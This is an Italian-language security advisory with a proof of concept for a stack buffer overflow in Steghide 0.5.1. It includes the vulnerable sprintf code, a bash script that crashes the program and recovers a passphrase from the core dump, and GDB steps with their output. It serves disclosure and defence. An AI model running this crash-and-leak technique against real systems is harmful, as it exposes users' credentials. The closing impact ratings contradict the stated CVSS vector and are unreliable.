Proof of Concept (PoC) per un buffer overflow basato sullo stack in Steghide 0.5.1. Dimostra come lunghi percorsi dei file innescano un crash (DoS) e fanno trapelare dati sensibili (password) tramite i core dump di sistema.
| Field | Value |
|---|---|
| Applicazione target | Steghide (Binario Linux) |
| Versione interessata | 0.5.1 (Confermata); versioni precedenti probabilmente interessate |
| Tipo di vulnerabilità | Buffer Overflow basato su stack (CWE-121) |
| Impatto | Denial of Service (DoS), Divulgazione di informazioni |
| Ambiente di test | Kali Linux |
| Data di divulgazione | 16 gennaio 2026 |
| Autore | Erik Dervishi |
| Link del software | https://salsa.debian.org/pkg-security-team/steghide |
| Punteggio CVSS v3.1 | 5.5 (Medio) |
| Vettore CVSS | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
Motivazione della gravità:
Il punteggio di gravità medio riflette uno sfruttamento locale affidabile che porta sia alla negazione del servizio sia alla divulgazione di credenziali sensibili tramite core dump.
È stata identificata una vulnerabilità di buffer overflow basato su stack nell'utility da riga di comando steghide (versione 0.5.1). La vulnerabilità viene attivata quando si passa un percorso file eccessivamente lungo all'argomento -cf (cover file).
Sebbene l'applicazione sia compilata con Stack Smashing Protection (SSP/Canary), che impedisce efficacemente l'esecuzione arbitraria di codice (RCE) interrompendo il processo, questo meccanismo difensivo crea una vulnerabilità secondaria: la divulgazione di informazioni.
L'analisi conferma che i dati sensibili a runtime — in particolare la passphrase passata tramite l'argomento -p — rimangono esposti nella memoria dello stack del processo al momento del crash. Su sistemi configurati per conservare i core dump (comuni in ambienti di sviluppo, CI/CD o server di produzione mal configurati), questi dati sensibili vengono scritti su disco in chiaro, consentendo agli attaccanti di recuperare le credenziali.
Per sfruttare con successo questa vulnerabilità ai fini della divulgazione di informazioni, devono essere soddisfatte le seguenti condizioni:
Accesso locale: L'attaccante deve avere accesso locale al sistema o la capacità di passare argomenti al binario steghide (ad es. tramite una web shell o uno script wrapper).
Core dump abilitati: L'ambiente target deve essere configurato per generare core dump (ad es. ulimit -c unlimited o fs.suid_dumpable=1) e scriverli in una posizione accessibile all'attaccante.
Credenziali in memoria: La vittima deve eseguire il comando usando l'argomento -p (passphrase).
La vulnerabilità risiede in src/Embedder.cc. L'applicazione non verifica i limiti della lunghezza della stringa del nome file prima di formattarla in un buffer a dimensione fissa usando sprintf.
Snippet di codice vulnerabile:
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
Se la lunghezza combinata delle stringhe supera i 200 byte, sprintf scrive oltre la fine di buf, corrompendo lo stack.
Il binario è compilato con lo Stack Protector di GCC.
Poiché __stack_chk_fail invoca abort() immediatamente, la terminazione del processo è brusca. Su sistemi Linux moderni (ad es. con systemd-coredump), questa terminazione rapida può talvolta far sì che il core dump venga scartato o troncato, a meno che il sistema non sia esplicitamente configurato per forzare la creazione del dump.
Il seguente script bash configura l'ambiente per forzare un core dump fisico ed estrae la password.
Prerequisito: assicurarsi che ulimit sia impostato e che il core pattern sia diretto a un file (richiede root per la configurazione, ma l'exploit viene eseguito come utente).
# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
File: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
Verifica manuale dello stato della memoria usando GDB (con estensione Pwndbg).
Passaggi per riprodurre:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
Output osservato:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
Conclusione: la stringa sensibile MY_SECRET_PASS persiste sia nel segmento Heap sia in quello Stack al momento del crash, confermando il vettore di divulgazione delle informazioni.
Riservatezza (Alta):
Disponibilità (Alta):
Integrità (Bassa):